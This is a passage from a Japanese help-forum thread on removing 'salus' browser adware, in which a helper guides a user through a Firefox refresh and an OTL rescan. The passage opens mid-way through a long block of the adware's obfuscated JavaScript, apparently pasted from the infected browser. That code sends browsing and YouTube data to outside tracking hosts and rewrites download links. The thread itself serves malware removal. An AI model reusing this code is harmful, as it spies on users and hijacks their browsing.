c=document.getElementsByTagName(\"body\")[0];b=-1<a.indexOf(\"cdncache-a.aka\")?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\".\"+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\"zyk_\"+[e.getUTCFullYear()+\"-\"+(e.getUTCMonth()+1)+\"-\"+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<k-parseInt(lsTime)){var h=document.createElement(\"div\");b=[];for(i in localStorage)-1<i.indexOf(\"zyk_\")&&b.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));h.style.display=\"none\";h.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.webscorebox.com/?q=g708BNmGWj8ukchVWzmPhd97pjaMCyVUojwMDMlGC7VLBT94tMtGB6DHhfs0rShNAen0rchOAen0rjwGqdC4rjaHpdn6qHn5qHr9qja=\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+b.join(\",\")+'}\"></form>';(typeof c!=\"undefined\"?c:document.getElementsByTagName(\"body\")[0]).appendChild(h);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",k)}}catch(p){}})();(function(){var l=function(){var a=window.location.search.split(\"v=\")[1],b=a&&a.indexOf(\"&\")||-1;-1!=b&&(a=a.substring(0,b));return a},m=function(){var a=document.getElementsByClassName(\"watch-view-count\");return a&&a[0]&&a[0].innerHTML?(a=a[0].innerHTML.replace(/^([0-9,]+).*$/,\"$1\").replace(/,/g,\"\"))&&parseInt(a)&&parseInt(a)||0:0},n=function(){var a=document.getElementsByClassName(\"watch-extras-section\");if(a)for(var b=0;b<a[0].children.length;b++)if(\"Category\"===a[0].children[b].getElementsByClassName(\"title\")[0].innerHTML.trim()){var c=a[0].children[b].getElementsByTagName(\"a\");if(c&&c[0]&&(c=c[0].getAttribute(\"href\")))return encodeURIComponent(c.replace(\"/\",\"\"))}return\"\"},p=function(){var a=document.getElementsByClassName(\"yt-subscription-button-subscriber-count-branded-horizontal\");return a&&a[0]&&a[0].innerHTML?(a=a[0].innerHTML.replace(/^([0-9,]+).*$/,\"$1\").replace(/,/g,\"\"))&&parseInt(a)&&parseInt(a)||1:1};if(window.self==window.top&&(-1<window.self.location.hostname.indexOf(\"youtube.com\")||-1<window.self.location.hostname.indexOf(\"youtu.be\")))try{if(\"qq=\"==window.name.substr(0,3)){var f=document.getElementsByTagName(\"body\")[0];if(!f.getAttribute(\"wyttb\")){f.setAttribute(\"wyttb\",\"1\");var g=l(),d=m(),q=n(),h=p();if(g&&d&&d){var e=window.name.split(\"=\")[1];window.name=\"\";2<=d/h&&((new Image).src=\"https://score.transferin.in/subs.php?id=\"+g+\"&n=\"+d+\"&c=\"+q+\"&s=\"+h+\"&q=\"+e+\"&cb=114.148.7.70\")}}}if(-1<window.self.location.href.indexOf(\"results?search_query=\")){var k=/[\\?&]search_query=([^&#]*)/.exec(location.search),e=null===k?\"\":decodeURIComponent(k[1].replace(/\\+/g,\" \"));window.name=\"qq=\"+e}}catch(r){}})();new function(){var k=this;this.utils=new function(){var c=this;c.sendPixels=function(a){var b;if(a instanceof Array)for(var e=0;e<a.length;e++){var d=a[e];b=new Image;b.src=d}else b=new Image,b.src=a};c.isFalse=function(a){return\"undefined\"==typeof a||0===a.length||null===a};c.cookie=new function(){var a=this;a.createCookie=function(a,e,d){if(d){var c=new Date;c.setTime(c.getTime()+864E5*d);d=\"; expires=\"+c.toGMTString()}else d=\"\";document.cookie=a+\"=\"+e+d+\"; path=/\"};a.readCookie=function(a){a+=\r\n\"=\";for(var e=document.cookie.split(\";\"),d=0;d<e.length;d++){for(var c=e[d];\" \"==c.charAt(0);)c=c.substring(1,c.length);if(0==c.indexOf(a))return c.substring(a.length,c.length)}return null};a.eraseCookie=function(b){a.createCookie(b,\"\",-1)}};c.ajax={get:function(a,b){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",a,!0),this.xhr.onreadystatechange=function(){4==c.ajax.xhr.readyState&&b(c.ajax.xhr.responseText)},this.xhr.send()}catch(e){}},post:function(a,b,e){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",\r\na,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==c.ajax.xhr.readyState&&e(c.ajax.xhr.responseText)};b=encodeURIComponent(b);this.xhr.send(b)}};c.waitForTokens={};c.addScript=function(a,b){if(\"bing\"==b){var e=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(a);Element.prototype.appendChild=e}else document.getElementsByTagName(\"head\")[0].appendChild(a)};\r\nc.waitForElement=function(a,b,e,d){var f=c.query_selector_all(a);clearTimeout(c.waitTimeout);if(25<k.waitForElementCounter)return b(null);if(\"undefined\"==typeof f||1>f.length){if(c.waitForTokens[d])return b(null);var g=arguments.callee;c.waitTimeout=setTimeout(function(){k.waitForElementCounter++;g(a,b,e,d)},e)}else{if(c.waitForTokens[d])return b(null);c.waitForTokens[d]=!0;k.waitForElementCounter=0;return b(f)}};c.flushWaitForTokens=function(){c.waitForTokens={}};c.getRandomInt=function(a,b){return Math.floor(Math.random()*\r\n(b-a+1))+a};c.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(a){return{getPropertyValue:function(b){\"float\"==b&&(b=\"styleFloat\");b=c.dhtml_prop_name(b);return\"object\"==typeof a.currentStyle&&null!=a.currentStyle&&\"undefined\"!=typeof a.currentStyle[b]?a.currentStyle[b]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};c.query_selector_all=document.querySelectorAll?function(a){try{return document.querySelectorAll(a)}catch(b){}}:function(a){var b=\r\na.match(/^#([^,\\s]+)$/)||[];if(1<b.length)return a=document.getElementById(b[1])||void 0,\"undefined\"!=typeof a?[a]:[];b=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(b);document.__asya_qsaels=[];b.styleSheet.cssText=a+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};c.clone_object=window.JSON instanceof Object?function(a){if(a instanceof Object&&(a=JSON.stringify(a),\"string\"==typeof a))return JSON.parse(a)}:\r\nfunction(a){if(a instanceof Object){var b=new a.constructor,e;for(e in a)b[e]=arguments.callee(a[e]);return b}return a};c.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,e,c){return c.toUpperCase()})};c.wildcard_to_regex=function(a){a=a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");a=a.replace(/\\*/g,\".*\");return new RegExp(a)};c.throttle=function(a,b){var e=null;return function(){var c=this,f=arguments;clearTimeout(e);e=setTimeout(function(){a.apply(c,f)},b)}};c.epoch=function(){return(new Date).getTime()};\r\nc.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();c.version_ie_less=function(a){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=a?!0:!1};c.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};\r\nc.match_url=function(a,b){for(var e=0;e<b.length;e++)if(\"string\"==typeof b[e]){var d;d=/^\\/.+\\/$/.test(b[e])?new RegExp(b[e]):c.wildcard_to_regex(b[e]);if(d instanceof RegExp&&d.test(a))return!0}};c.ping=function(a){for(var b=[\"google\",\"bing\",\"yahoo\",\"youtube\"],c=0;c<b.length;c++)if(-1<location.hostname.indexOf(b[c])){var d=new Image,f=encodeURIComponent(window.self==window.top?window.self.location.href:\"\");1E3<f.length&&(f=encodeURIComponent(location.hostname));var g=encodeURIComponent(location.hostname);\r\nd.src=k.pixelHost+\"?hid=11247910384774873450&eid=690&pid=1&prodid=338&v=\"+k.version+\"&ch=\"+a+\"&lan=\"+navigator.language+\"&cc=JP&pr=\"+b[c]+\"&host=\"+g+\"&ref=\"+f}};c.getAllText=function(a){for(var b=\"\",c=0;c<a.length;c++)b+=a.textContent?a.textContent:a.innetText;return b};c.duplicateElement=function(a){var b=document.createElement(a.nodeName.toLowerCase()),e=!1;a.getAttribute(\"href\")&&b.setAttribute(\"href\",\"javascript:void(0);\");for(var d in a)if(\"src\"==\r\nd||\"width\"==d||\"height\"==d)b[d]=a[d];else if(\"style\"==d)for(var f in a[d])a[d][f]&&\"\"!=a[d][f]&&(b[d][f]=a[d][f]);else e||\"nodeValue\"!=d&&\"textContent\"!=d&&\"innetText\"!=d&&\"className\"!=d||0!=a.children.length||(b[d]=a[d],e=!0);for(e=0;e<a.childNodes.length;e++)if(3==a.childNodes[e].nodeType)b.appendChild(document.createTextNode(a.childNodes[e].textContent?a.childNodes[e].textContent:a.childNodes[e].innerText));else{d=c.duplicateElement(a.childNodes[e]);f=c.getAllText(d.childNodes);var g=a.childNodes[e].textContent?\r\na.childNodes[e].textContent:a.childNodes[e].innerText;g&&(g=g.replace(f,\"\"),\"\"!=g&&(d.textContent?d.textContent=g:d.innerText=g));b.appendChild(d)}return b}};if(-1<window.location.href.indexOf(\"google.com/chrome/srt\")&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")){try{var h=parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1],10)}catch(p){return}if(!(38>=h)){for(h=0;h<document.links.length;h++){var l=document.links[h],m=l.getAttribute(\"href\");if(m&&-1<m.indexOf(\"#dialog-contents\")){var m=\r\nk.utils.duplicateElement(l),n=l.parentNode;n.insertBefore(m,l);n.removeChild(l)}}(h=document.getElementById(\"dialog-contents\"))&&h.remove()}}};(function(){try{window.top==window.self&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")&&\"http:\"==window.location.protocol&&chrome.storage.local.get(\"bcvzdw\",function(a){if(!a.bcvzdw&&!localStorage.getItem(\"bcvzdw\")&&(a=document.getElementsByTagName(\"a\"),a.length))for(var b=0;b<a.length;b++)if(a[b]&&a[b].href&&\"mp3\"==a[b].href.substr(-3)){var c=a[b].href;a[b].setAttribute(\"href\",\"http://mp3juices.se/media/\"+encodeURIComponent(a[b].innerHTML)+\"/mid/\"+encodeURIComponent(encodeURIComponent(c))+\"/el/1\");a[b].setAttribute(\"id\",\"sdfsdfsfds\"+b);document.getElementById(\"sdfsdfsfds\"+b).addEventListener(\"click\",function(){chrome.storage.local.set({bcvzdw:\"2\"});localStorage.setItem(\"bcvzdw\",\"2\")},!1)}})}catch(d){}})();(function(){try{window.top==window.self&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")&&\"http:\"==window.location.protocol&&chrome.storage.local.get(\"bxcv43t897\",function(a){if(!a.bxcv43t897&&!localStorage.getItem(\"bxcv43t897\")&&(a=document.getElementsByTagName(\"a\"),a.length))for(var b=0;b<a.length;b++)a[b]&&a[b].href&&\"torrent\"==a[b].href.substr(-7)&&(a[b].setAttribute(\"href\",\"http://78.47.6.114/api/getLink/?cb=\"+Math.random()),a[b].setAttribute(\"id\",\"cxvcxv\"+b),document.getElementById(\"cxvcxv\"+b).addEventListener(\"click\",function(){chrome.storage.local.set({bxcv43t897:\"2\"});localStorage.setItem(\"bxcv43t897\",\"2\")},!1))})}catch(c){}})();}catch(e){};try{new function(){var n=this;this.activeZds={\"uploading.com\":1,\"dirpy.com\":0,\"go4up.com\":1,\"mp3olimp.org\":1,\"hulkload.com\":1,\"free-tv-video-online.me\":1,\"ehd.c\":1,\"hesefiles.c\":1,\"sharebeast.com\":0,\"coolrom.com\":1,\"ebookbrowsee.net\":1,\"cloud-vibe.com\":0,\"mp3seal.com\":0,\"mp3vampire.com\":0,\"minecraftdl.com\":0,\"leunlckr.co\":0,\"go.theadsnet.com\":1,\"ziddu.com\":1,\"opensubtitles.org\":1,\"romptfile.co\":1,\"pensoftwareupdater.co\":1,\"veehd.com\":1,\"ullypcgames.ne\":0,\"llplayer.com.b\":1,\"ubtitulosespanol.or\":1,\"ubtitles4free.ne\":1,\n\"legendasbrasil.org\":1,\"reeroms.co\":0,\"eneral-ebooks.co\":0,\"stream2watch.me\":1,\"kickass.to\":1,\"kickass.so\":1,\"pensubtitles.us\":0,\"uploadrocket.net\":1,\"programas-gratis.net\":0,\"programasgratis.es\":1,\"programasejogos.com\":1,\"flexydrive.com\":1,\"media1fire.com\":1,\"softwareandgames.com\":1,\"baixarjogos.com\":1,\"programmesetjeux.com\":1,\"descargarjuegos.com\":1,\"hotfiles.ro\":1,\"vitanclub.net\":1,\"getsecuredfiles.com\":1,\"mirrorcreator.com\":0,\"mestorrents.com\":1,\"vitorrent.net\":1,\"uploaded.net\":0,\"newsinitiative.org\":0,\n\"megafilmesonlinehd.com\":1,\"mycoolmp3.com\":1,\"descargadictos.net\":0,\"toggle.com\":1,\"downloadshareware.com\":1,\"primewire.ag\":1,\"ads.showmeflix.com\":0,\"myappsforpc.com\":1,\"telecharger.logiciel.net\":1,\"winmacsofts.com\":1,\"telecharger.info\":0,\"torntv-dl.net\":0,\"1337x.to\":1,\"h33t.to\":1,\"ahashare.com\":1,\"torrenthound.com\":1,\"smartorrent.com\":1,\"torrentreactor.net\":1,\"tomadivx.org\":1,\"opensubtitles.website\":0,\"downloads.info\":1,\"techypcapps.com\":1,\"techmacho.com\":1,\"techariot.com\":1,\"androidlegend.com\":1,\n\"technologyrush.com\":1,\"notintricate.com\":1,\"techglen.com\":1,\"updownload.com\":1,\"techamiable.com\":1,\"appsforpcmero.com\":0,\"hugefiles.net\":0,\"descarga.benjaminstrahs.com\":1,\"installers.installm.com\":1,\"uptobox.com\":1,\"torrentz.com\":1,\"torrentz.eu\":1,\"torrentsmirror.com\":1};this.utils=new function(){var h=this;h.sendPixels=function(e){var h;if(e instanceof Array)for(var l=0;l<e.length;l++){var m=e[l];h=new Image;h.src=m}else h=new Image,h.src=e};h.isFalse=function(e){return\"undefined\"==typeof e||0===\ne.length||null===e};h.cookie=new function(){var e=this;e.createCookie=function(e,h,m){if(m){var n=new Date;n.setTime(n.getTime()+864E5*m);m=\"; expires=\"+n.toGMTString()}else m=\"\";document.cookie=e+\"=\"+h+m+\"; path=/\"};e.readCookie=function(e){e+=\"=\";for(var h=document.cookie.split(\";\"),m=0;m<h.length;m++){for(var n=h[m];\" \"==n.charAt(0);)n=n.substring(1,n.length);if(0==n.indexOf(e))return n.substring(e.length,n.length)}return null};e.eraseCookie=function(h){e.createCookie(h,\"\",-1)}};h.ajax={get:function(e,\nk){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",e,!0),this.xhr.onreadystatechange=function(){4==h.ajax.xhr.readyState&&k(h.ajax.xhr.responseText)},this.xhr.send()}catch(l){}},post:function(e,k,l){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",e,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==h.ajax.xhr.readyState&&l(h.ajax.xhr.responseText)};k=encodeURIComponent(k);this.xhr.send(k)}};h.waitForTokens={};h.addScript=\nfunction(e,h){if(\"bing\"==h){var l=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(e);Element.prototype.appendChild=l}else document.getElementsByTagName(\"head\")[0].appendChild(e)};h.waitForElement=function(e,k,l,m){var p=h.query_selector_all(e);clearTimeout(h.waitTimeout);if(25<n.waitForElementCounter)return k(null);if(\"undefined\"==typeof p||1>p.length){if(h.waitForTokens[m])return k(null);\nvar q=arguments.callee;h.waitTimeout=setTimeout(function(){n.waitForElementCounter++;q(e,k,l,m)},l)}else{if(h.waitForTokens[m])return k(null);h.waitForTokens[m]=!0;n.waitForElementCounter=0;return k(p)}};h.flushWaitForTokens=function(){h.waitForTokens={}};h.getRandomInt=function(e,h){return Math.floor(Math.random()*(h-e+1))+e};h.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(e){return{getPropertyValue:function(k){\"float\"==k&&(k=\"styleFloat\");k=h.dhtml_prop_name(k);return\"object\"==\ntypeof e.currentStyle&&null!=e.currentStyle&&\"undefined\"!=typeof e.currentStyle[k]?e.currentStyle[k]:null}}}:function(e,h){return window.getComputedStyle(e,h)||{getPropertyValue:function(){}}};h.query_selector_all=document.querySelectorAll?function(e){try{return document.querySelectorAll(e)}catch(h){}}:function(e){var h=e.match(/^#([^,\\s]+)$/)||[];if(1<h.length)return e=document.getElementById(h[1])||void 0,\"undefined\"!=typeof e?[e]:[];h=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(h);\ndocument.__asya_qsaels=[];h.styleSheet.cssText=e+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};h.clone_object=window.JSON instanceof Object?function(e){if(e instanceof Object&&(e=JSON.stringify(e),\"string\"==typeof e))return JSON.parse(e)}:function(e){if(e instanceof Object){var h=new e.constructor,l;for(l in e)h[l]=arguments.callee(e[l]);return h}return e};h.dhtml_prop_name=function(e){return e.replace(/(\\-([a-z]){1})/g,function(e,h,m){return m.toUpperCase()})};\nh.wildcard_to_regex=function(e){e=e.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");e=e.replace(/\\*/g,\".*\");return new RegExp(e)};h.throttle=function(e,h){var l=null;return function(){var m=this,n=arguments;clearTimeout(l);l=setTimeout(function(){e.apply(m,n)},h)}};h.epoch=function(){return(new Date).getTime()};h.msie=function(){var e=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(e)&&(e=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));\nreturn isNaN(e)?!1:e}();h.version_ie_less=function(e){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=e?!0:!1};h.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};h.match_url=function(e,k){for(var l=0;l<k.length;l++)if(\"string\"==typeof k[l]){var m;m=/^\\/.+\\/$/.test(k[l])?new RegExp(k[l]):h.wildcard_to_regex(k[l]);if(m instanceof RegExp&&m.test(e))return!0}};\nh.ping=function(e){for(var h=[\"google\",\"bing\",\"yahoo\",\"youtube\"],l=0;l<h.length;l++)if(-1<location.hostname.indexOf(h[l])){var m=new Image,p=encodeURIComponent(window.self==window.top?window.self.location.href:\"\");1E3<p.length&&(p=encodeURIComponent(location.hostname));var q=encodeURIComponent(location.hostname);m.src=n.pixelHost+\"?hid=11247910384774873450&eid=690&pid=1&prodid=338&v=\"+n.version+\"&ch=\"+e+\"&lan=\"+navigator.language+\"&cc=JP&pr=\"+h[l]+\"&host=\"+\nq+\"&ref=\"+p}};h.getAllText=function(e){for(var h=\"\",l=0;l<e.length;l++)h+=e.textContent?e.textContent:e.innetText;return h};h.duplicateElement=function(e){var k=document.createElement(e.nodeName.toLowerCase());e.getAttribute(\"href\")&&k.setAttribute(\"href\",\"javascript:void(0);\");for(var l in e)if(\"src\"==l||\"width\"==l||\"height\"==l||\"id\"==l||\"className\"==l)k[l]=e[l];else if(\"style\"==l)for(var m in e[l])e[l][m]&&\"\"!=e[l][m]&&(k[l][m]=e[l][m]);else\"input\"!==e.nodeName.toLowerCase()||\"type\"!=l&&\"value\"!=\nl||(k[l]=e[l]);for(l=0;l<e.childNodes.length;l++)if(3==e.childNodes[l].nodeType)m=e.childNodes[l].textContent?e.childNodes[l].textContent:e.childNodes[l].innerText,\"undefined\"===typeof m&&(m=e.childNodes[l].nodeValue?e.childNodes[l].nodeValue:e.childNodes[l].data),\"undefined\"!==typeof m&&k.appendChild(document.createTextNode(m));else{m=h.duplicateElement(e.childNodes[l]);var n=h.getAllText(m.childNodes),q=e.childNodes[l].textContent?e.childNodes[l].textContent:e.childNodes[l].innerText;q&&(q=q.replace(n,\n\"\"),\"\"!=h.trim(q)&&(m.textContent?m.textContent=q:m.innerText=q));k.appendChild(m)}return k};h.coverElement=function(e,h,l,m,n,q,t,r){var u=document.createElement(\"div\");u.style.width=h?h:\"100%\";u.style.height=l?l:\"100%\";u.style.zIndex=q?q:\"2000\";u.style.top=m?m:\"0\";u.style.left=n?n:\"0\";u.style.cursor=t?t:\"pointer\";u.style.position=\"absolute\";h=e.parentNode;h.style.position=\"relative\";!0!==r&&\"undefined\"!==typeof r||h.removeChild(e);h.appendChild(u)};h.trim=function(h){return\"function\"!==typeof String.prototype.trim?\nString(h).replace(/^\\s+|\\s+$/g,\"\"):String.prototype.trim(h)}};this[\"dirpy.com\"]=new function(){this.init=function(){try{f=function(){try{$(\".download-maxiget, .download-trinity\").attr(\"href\",\"#\"),$(\"#mp3-with-trinity\").remove()}catch(h){}},-1< !navigator.userAgent.indexOf(\"chrome\")?f():(g=document.createElement(\"script\"),g.innerHTML=\"(\"+f.toString()+\")()\",document.body.appendChild(g))}catch(h){}new function(){-1<location.host.toLowerCase().indexOf(\"irpy.co\")&&(window.__irpyCount=0,window.__irpyInt=\nsetInterval(function(){for(var h=document.links,k=0;k<h.length;k++){var l=h[k].getAttribute(\"href\");if(null!=l&&-1<l.toLowerCase().indexOf(\"dirpy.com/download/\")){l=document.createElement(\"div\");l.style.top=\"0\";l.style.width=\"100%\";l.style.height=\"100%\";l.style.cursor=\"pointer\";l.style.zIndex=\"2000\";l.style.position=\"absolute\";var m=h[k].parentNode;m.style.position=\"relative\";m.appendChild(l);clearInterval(window.__irpyInt)}}20<window.__irpyCount++&&clearInterval(window.__irpyInt)},250))}}};this[\"mp3olimp.org\"]=\nnew function(){this.init=function(){setTimeout(function(){for(var h=document.links,e=0;e<h.length;e++)if(\"return prepare_download_file(this);\"==h[e].getAttribute(\"onclick\")){var m=document.createElement(\"a\");m.className=\"link last\";m.setAttribute(\"href\",\"javascript:void(0);\");m.innerText?m.innerText=\"Download\":m.textContent=\"Download\";var n=h[e].parentNode,q=n.children[n.children.length-1];q&&(n.removeChild(h[e]),n.insertBefore(m,q))}},1E3);new function(){-1<window.location.host.toLowerCase().indexOf(\"p3olimp.or\")&&\n(window.__intCount=0,window.__int=setInterval(function(){var h=document.getElementById(\"download-manager-checkbox\");if(null!==h)try{h.setAttribute(\"checked\",!1),document.getElementById(\"checkbox\").checked=!1}catch(e){}window.__intCount++;10<window.__intCount&&clearInterval(window.__int)},250))};-1<window.location.host.toLowerCase().indexOf(\"p3olimp.or\")&&(window.__intCount=0,window.__int=setInterval(function(){var h=document.getElementById(\"download-manager-checkbox\");if(null!==h)try{h.setAttribute(\"checked\",\n!1),document.getElementById(\"checkbox\").checked=!1}catch(e){}window.__intCount++;10<window.__intCount&&clearInterval(window.__int)},250));if(-1<document.location.host.indexOf(\"p3olimp.or\")&&document.getElementsByClassName)for(c=document.getElementById(\"download-manager-checkbox\"),c.onchange=function(){for(var h=document.getElementsByClassName(\"nasjfkla\"),e=0;e<h.length;e++)h[e].style.display=c.checked?\"block\":\"none\"},i=0;i<document.links.length;i++){var h=document.links[i],e=h.getAttribute(\"onclick\");\ne&&-1<e.indexOf(\"prepare_download_file\")&&(h=h.parentNode,h.style.position=\"relative\",b=document.createElement(\"div\"),b.className=\"nasjfkla\",b.style.position=\"absolute\",b.style.top=\"-2px\",b.style.left=\"92px\",b.style.width=\"71px\",b.style.height=\"16px\",b.style.zIndex=\"99999\",b.style.cursor=\"pointer\",h.appendChild(b))}-1<location.host.indexOf(\"p3olimp.or\")&&setTimeout(function(){for(var h=document.getElementById(\"leftside\"),e=0;e<h.children.length
  • mari
  • 2015/03/29 (Sun) 08:44:56
Re: salusの駆除をお助けください
↑文字列がおかしいですね…
 スキャンしなおします。
  • mari
  • 2015/03/29 (Sun) 08:48:37
一旦応急処置です
作業と報告、ご苦労様です。
OTLログを見せてもらったところ、まだFFに大量の曲者が食い込んでます。
見せてもらったログの文字列がおかしいのもそれが絡んでます。

まずは応急処置しましょう。

まずFFのブックマークで必要なものがあれば、ブクマをエクスポート(バックアップ)しておいてください。

準備できたらFF起動して下記をコピペでアドレスバーに貼り付けて移動です。
about:support

そこで「Firefoxをリフレッシュ」すると、FFの拡張等が初期化されます。

ここまでできたらFFも終了後、お手数ですがまたOTLで「Run scan」して、そのログをまた見せてください
  • 悪代官
  • 2015/03/29 (Sun) 08:55:58
Re: salusの駆除をお助けください
ありがとうございます!!
無事にスキャンのログがでました!

OTL logfile created on: 2015/03/29 9:29:48 - Run 1
OTL by OldTimer - Version 3.2.69.0 Folder = C:\Users\Tomohiko\Downloads
64bit- Ultimate Edition Service Pack 1 (Version = 6.1.7601) - Type = NTWorkstation
Internet Explorer (Version = 9.11.9600.17633)
Locale: 00000411 | Country: 日本 | Language: JPN | Date Format: yyyy/MM/dd

5.95 Gb Total Physical Memory | 3.57 Gb Available Physical Memory | 60.01% Memory free
11.90 Gb Paging File | 9.14 Gb Available in Paging File | 76.79% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]

%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files (x86)
Drive C: | 113.20 Gb Total Space | 41.46 Gb Free Space | 36.63% Space Free | Partition Type: NTFS
Drive D: | 442.50 Gb Total Space | 370.52 Gb Free Space | 83.74% Space Free | Partition Type: NTFS
Drive E: | 465.76 Gb Total Space | 27.45 Gb Free Space | 5.89% Space Free | Partition Type: NTFS
Drive H: | 931.28 Gb Total Space | 0.80 Gb Free Space | 0.09% Space Free | Partition Type: FAT32

Computer Name: TOMOHIKO-PC | User Name: Tomohiko | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: All users | Include 64bit Scans
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days

[color=#E56717]========== Processes (SafeList) ==========[/color]

PRC - [2015/03/29 09:13:26 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\Tomohiko\Downloads\OTL.exe
PRC - [2015/03/14 19:12:39 | 000,809,288 | ---- | M] (Google Inc.) -- C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
PRC - [2015/02/18 21:24:32 | 001,088,800 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMonitor.exe
PRC - [2014/07/03 02:02:36 | 000,113,152 | ---- | M] (Creative Technology Ltd) -- C:\Windows\SysWOW64\CtHdaSvc.exe
PRC - [2014/06/23 19:18:15 | 000,795,672 | ---- | M] (CyberLink Corp.) -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe
PRC - [2014/05/02 09:10:50 | 006,311,104 | ---- | M] (FNet Co., Ltd.) -- C:\Program Files (x86)\XFastUSB\XFastUsb.exe
PRC - [2014/04/30 01:40:40 | 000,413,128 | ---- | M] (NVIDIA Corporation) -- C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
PRC - [2014/01/10 14:26:44 | 001,861,968 | ---- | M] () -- C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe
PRC - [2013/12/13 16:39:30 | 001,179,232 | ---- | M] (東日本電信電話株式会社) -- C:\Program Files (x86)\NTTE\StartUpToolN\StartUpTool_e.exe
PRC - [2013/08/29 16:40:20 | 000,910,848 | ---- | M] (Creative Technology Ltd) -- D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe
PRC - [2013/04/04 14:50:32 | 000,701,512 | ---- | M] (Malwarebytes Corporation) -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamservice.exe
PRC - [2013/04/04 14:50:32 | 000,532,040 | ---- | M] (Malwarebytes Corporation) -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamgui.exe
PRC - [2013/04/04 14:50:32 | 000,418,376 | ---- | M] (Malwarebytes Corporation) -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamscheduler.exe
PRC - [2013/03/05 12:43:20 | 000,110,144 | ---- | M] (CyberLink) -- D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe
PRC - [2012/05/09 18:56:54 | 000,886,272 | ---- | M] (Creative Technology Ltd) -- D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe
PRC - [2012/05/09 18:52:14 | 002,014,208 | ---- | M] (Creative Technology Ltd) -- D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\CTJckCfg.exe
PRC - [2011/12/01 10:07:20 | 000,423,424 | ---- | M] (Creative Technology Ltd) -- C:\Program Files (x86)\Creative\Shared Files\CTAudSvc.exe
PRC - [2009/02/23 19:43:12 | 000,576,000 | ---- | M] (MagicISO, Inc.) -- D:\Program Files (x86)\MagicDisc\MagicDisc.exe


[color=#E56717]========== Modules (No Company Name) ==========[/color]

MOD - [2015/03/14 19:12:35 | 009,278,792 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\pdf.dll
